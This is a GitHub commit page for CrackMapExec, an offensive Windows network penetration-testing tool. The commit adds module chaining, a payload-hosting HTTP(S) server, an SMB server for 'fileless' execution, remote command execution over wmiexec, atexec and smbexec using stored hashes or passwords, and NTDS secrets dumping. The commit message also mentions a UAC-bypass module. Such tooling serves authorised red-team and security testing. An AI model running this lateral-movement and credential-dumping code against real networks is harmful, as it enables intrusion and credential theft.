Skip to content
This repository has been archived by the owner on Dec 6, 2023. It is now read-only.

Commit

Permalink
Initial implementation of module chaining
Browse files Browse the repository at this point in the history
Oook, this commit is basicallu just so I can start tracking (and
testing) all of the changes made so far:

- All execution methods are now completely fileless, all output and/or batch
  files get outputted/hosted locally on a SMB server that gets spun up on runtime

- Module structure has been modified for module chaining

- Module chaining implementation is currently very hacky, I definitly
  have to figure out something more elegant but for now it
  works. Module chaining is performed via the -MC flag and has it's own
  mini syntax (will be adding it to the wiki)

- You can now specify credential ID ranges using the -id flag
- Added the eventvwr_bypass and rundll32_exec modules
- Renamed a lot of the modules for naming consistency

TODO:

- Launchers/Payloads need to be escaped before being generated when
  module chaining

- Add check for modules 'required_server' attribute
- Finish modifying the functions in the Connection object so they return
  the results
  • Loading branch information
byt3bl33d3r committed Sep 12, 2016
1 parent e67fc4c commit db056d1
Show file tree
Hide file tree
Showing 32 changed files with 1,080 additions and 395 deletions.
109 changes: 109 additions & 0 deletions cme/cmechainserver.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
import BaseHTTPServer
import threading
import ssl
import os
import sys
from BaseHTTPServer import BaseHTTPRequestHandler
from logging import getLogger
from gevent import sleep
from cme.helpers import highlight
from cme.logger import CMEAdapter
from cme.cmeserver import CMEServer

class RequestHandler(BaseHTTPRequestHandler):

def log_message(self, format, *args):
module = self.server.host_chain[self.client_address[0]][0]
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
server_logger.info("- - %s" % (format%args))

def do_GET(self):
current_module = self.server.host_chain[self.client_address[0]][0]

if hasattr(current_module, 'on_request'):

module_list = self.server.host_chain[self.client_address[0]][:]
module_list.reverse()

final_launcher = module_list[0].launcher(self.server.context, None if not hasattr(module_list[0], 'command') else module_list[0].command)
if len(module_list) > 2:
for module in module_list:
if module == current_module or module == module_list[0]:
continue

server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger

final_launcher = module.launcher(self.server.context, final_launcher)

server_logger = CMEAdapter(getLogger('CME'), {'module': current_module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger

if current_module == module_list[0]: final_launcher = None if not hasattr(module_list[0], 'command') else module_list[0].command

launcher = current_module.launcher(self.server.context, final_launcher)
payload = current_module.payload(self.server.context, final_launcher)

current_module.on_request(self.server.context, self, launcher, payload)

if not hasattr(current_module, 'on_response'):
try:
del self.server.host_chain[self.client_address[0]][0]
except KeyError or IndexError:
pass

def do_POST(self):
self.server.log.debug(self.server.host_chain)
module = self.server.host_chain[self.client_address[0]][0]

if hasattr(module, 'on_response'):
server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
module.on_response(self.server.context, self)

try:
del self.server.host_chain[self.client_address[0]][0]
except KeyError or IndexError:
pass

def stop_tracking_host(self):
'''
This gets called when a module has finshed executing, removes the host from the connection tracker list
'''
if len(self.server.host_chain[self.client_address[0]]) == 1:
try:
self.server.hosts.remove(self.client_address[0])
del self.server.host_chain[self.client_address[0]]
except ValueError:
pass

class CMEChainServer(CMEServer):

def __init__(self, chain_list, context, logger, srv_host, port, server_type='https'):

try:
threading.Thread.__init__(self)

self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
self.server.hosts = []
self.server.host_chain = {}
self.server.chain_list = chain_list
self.server.context = context
self.server.log = context.log
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')

if server_type == 'https':
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)

except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
else:
logger.error('Error starting HTTP(S) server: {}'.format(message))

sys.exit(1)

def track_host(self, host_ip):
self.server.hosts.append(host_ip)
self.server.host_chain[host_ip] = [module['object'] for module in self.server.chain_list]
18 changes: 10 additions & 8 deletions cme/cmeserver.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@
import ssl
import os
import sys
from getpass import getuser
from BaseHTTPServer import BaseHTTPRequestHandler
from logging import getLogger
from gevent import sleep
Expand All @@ -20,7 +19,11 @@ def do_GET(self):
if hasattr(self.server.module, 'on_request'):
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
self.server.module.on_request(self.server.context, self)

launcher = self.server.module.launcher(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)
payload = self.server.module.payload(self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command)

self.server.module.on_request(self.server.context, self, launcher, payload)

def do_POST(self):
if hasattr(self.server.module, 'on_response'):
Expand All @@ -41,10 +44,6 @@ class CMEServer(threading.Thread):

def __init__(self, module, context, logger, srv_host, port, server_type='https'):

if port <= 1024 and os.geteuid() != 0:
logger.error("I'm sorry {}, I'm afraid I can't let you do that".format(getuser()))
sys.exit(1)

try:
threading.Thread.__init__(self)

Expand All @@ -61,15 +60,18 @@ def __init__(self, module, context, logger, srv_host, port, server_type='https')
except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting CME server: the port is already in use, try specifying a diffrent port using --server-port')
logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
else:
logger.error('Error starting CME server: {}'.format(message))
logger.error('Error starting HTTP(S) server: {}'.format(message))

sys.exit(1)

def base_server(self):
return self.server

def track_host(self, host_ip):
self.server.hosts.append(host_ip)

def run(self):
try:
self.server.serve_forever()
Expand Down
50 changes: 50 additions & 0 deletions cme/cmesmbserver.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
import threading
import logging
import sys
import os
from impacket import smbserver

class CMESMBServer(threading.Thread):

def __init__(self, logger, share_name, verbose=False):

try:
threading.Thread.__init__(self)

self.server = smbserver.SimpleSMBServer()
self.server.addShare(share_name.upper(), os.path.join('/tmp', 'cme_hosted'))
if verbose: self.server.setLogFile('')
self.server.setSMB2Support(False)
self.server.setSMBChallenge('')

except Exception as e:
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting SMB server: the port is already in use')
else:
logger.error('Error starting SMB server: {}'.format(message))

sys.exit(1)

def run(self):
try:
self.server.start()
except:
pass

def shutdown(self):
#try:
# while len(self.server.hosts) > 0:
# self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
# sleep(15)
#except KeyboardInterrupt:
# pass

self._Thread__stop()
# make sure all the threads are killed
for thread in threading.enumerate():
if thread.isAlive():
try:
thread._Thread__stop()
except:
pass
71 changes: 53 additions & 18 deletions cme/connection.py
Original file line number Diff line number Diff line change
Expand Up @@ -41,12 +41,14 @@ def _decorator(self, *args, **kwargs):

class Connection:

def __init__(self, args, db, host, module, cmeserver):
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
self.args = args
self.db = db
self.host = host
self.module = module
self.chain_list = chain_list
self.cmeserver = cmeserver
self.share_name = share_name
self.conn = None
self.hostname = None
self.domain = None
Expand Down Expand Up @@ -148,9 +150,13 @@ def __init__(self, args, db, host, module, cmeserver):

self.login()

if ((self.password is not None or self.hash is not None) and self.username is not None):
if (self.password is not None or self.hash is not None) and self.username is not None:

if self.module or self.chain_list:

if self.chain_list:
module = self.chain_list[0]['object']

if self.module:
module_logger = CMEAdapter(getLogger('CME'), {
'module': module.name.upper(),
'host': self.host,
Expand All @@ -163,13 +169,42 @@ def __init__(self, args, db, host, module, cmeserver):
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
cmeserver.server.context.localip = local_ip

if hasattr(module, 'on_login'):
module.on_login(context, self)
if self.module:

launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
payload = module.payload(context, None if not hasattr(module, 'command') else module.command)

if hasattr(module, 'on_login'):
module.on_login(context, self, launcher, payload)

if self.admin_privs and hasattr(module, 'on_admin_login'):
module.on_admin_login(context, self, launcher, payload)

elif self.chain_list:
module_list = self.chain_list[:]
module_list.reverse()

final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
if len(module_list) > 2:
for m in module_list:
if m['object'] == module or m['object'] == module_list[0]['object']:
continue

final_launcher = m['object'].launcher(context, final_launcher)

if module == module_list[0]['object']:
final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command

launcher = module.launcher(context, final_launcher)
payload = module.payload(context, final_launcher)

if hasattr(module, 'on_login'):
module.on_login(context, self)

if hasattr(module, 'on_admin_login') and self.admin_privs:
module.on_admin_login(context, self)
if self.admin_privs and hasattr(module, 'on_admin_login'):
module.on_admin_login(context, self, launcher, payload)

elif self.module is None:
elif self.module is None and self.chain_list is None:
for k, v in vars(self.args).iteritems():
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
if v is not False and v is not None:
Expand Down Expand Up @@ -345,16 +380,16 @@ def login(self):
for cred_id in self.args.cred_id:
with sem:
try:
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=cred_id)[0]
c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=int(cred_id))[0]

if not domain: domain = self.domain
if self.args.domain: domain = self.args.domain

if credtype == 'hash' and not self.over_fail_limit(username):
self.hash_login(domain, username, password)
if self.hash_login(domain, username, password): return

elif credtype == 'plaintext' and not self.over_fail_limit(username):
self.plaintext_login(domain, username, password)
if self.plaintext_login(domain, username, password): return

except IndexError:
self.logger.error("Invalid database credential ID!")
Expand Down Expand Up @@ -442,7 +477,7 @@ def execute(self, payload=None, get_output=False, methods=None):

if method == 'wmiexec':
try:
exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
logging.debug('Executed command via wmiexec')
break
except:
Expand All @@ -452,7 +487,7 @@ def execute(self, payload=None, get_output=False, methods=None):

elif method == 'atexec':
try:
exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share)
exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
logging.debug('Executed command via atexec')
break
except:
Expand All @@ -462,17 +497,15 @@ def execute(self, payload=None, get_output=False, methods=None):

elif method == 'smbexec':
try:
exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
logging.debug('Executed command via smbexec')
break
except:
logging.debug('Error executing command via smbexec, traceback:')
logging.debug(format_exc())
continue

if self.cmeserver:
if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'):
self.cmeserver.server.hosts.append(self.host)
if self.cmeserver: self.cmeserver.track_host(self.host)

output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))

Expand Down Expand Up @@ -502,7 +535,9 @@ def lsa(self):

@requires_admin
def ntds(self):
return DumpSecrets(self).NTDS_dump()
#We could just return the whole NTDS.dit database but in large domains it would be huge
#and would take up too much memory
DumpSecrets(self).NTDS_dump()

@requires_admin
def wdigest(self):
Expand Down
Loading

0 comments on commit db056d1

Please sign in to comment.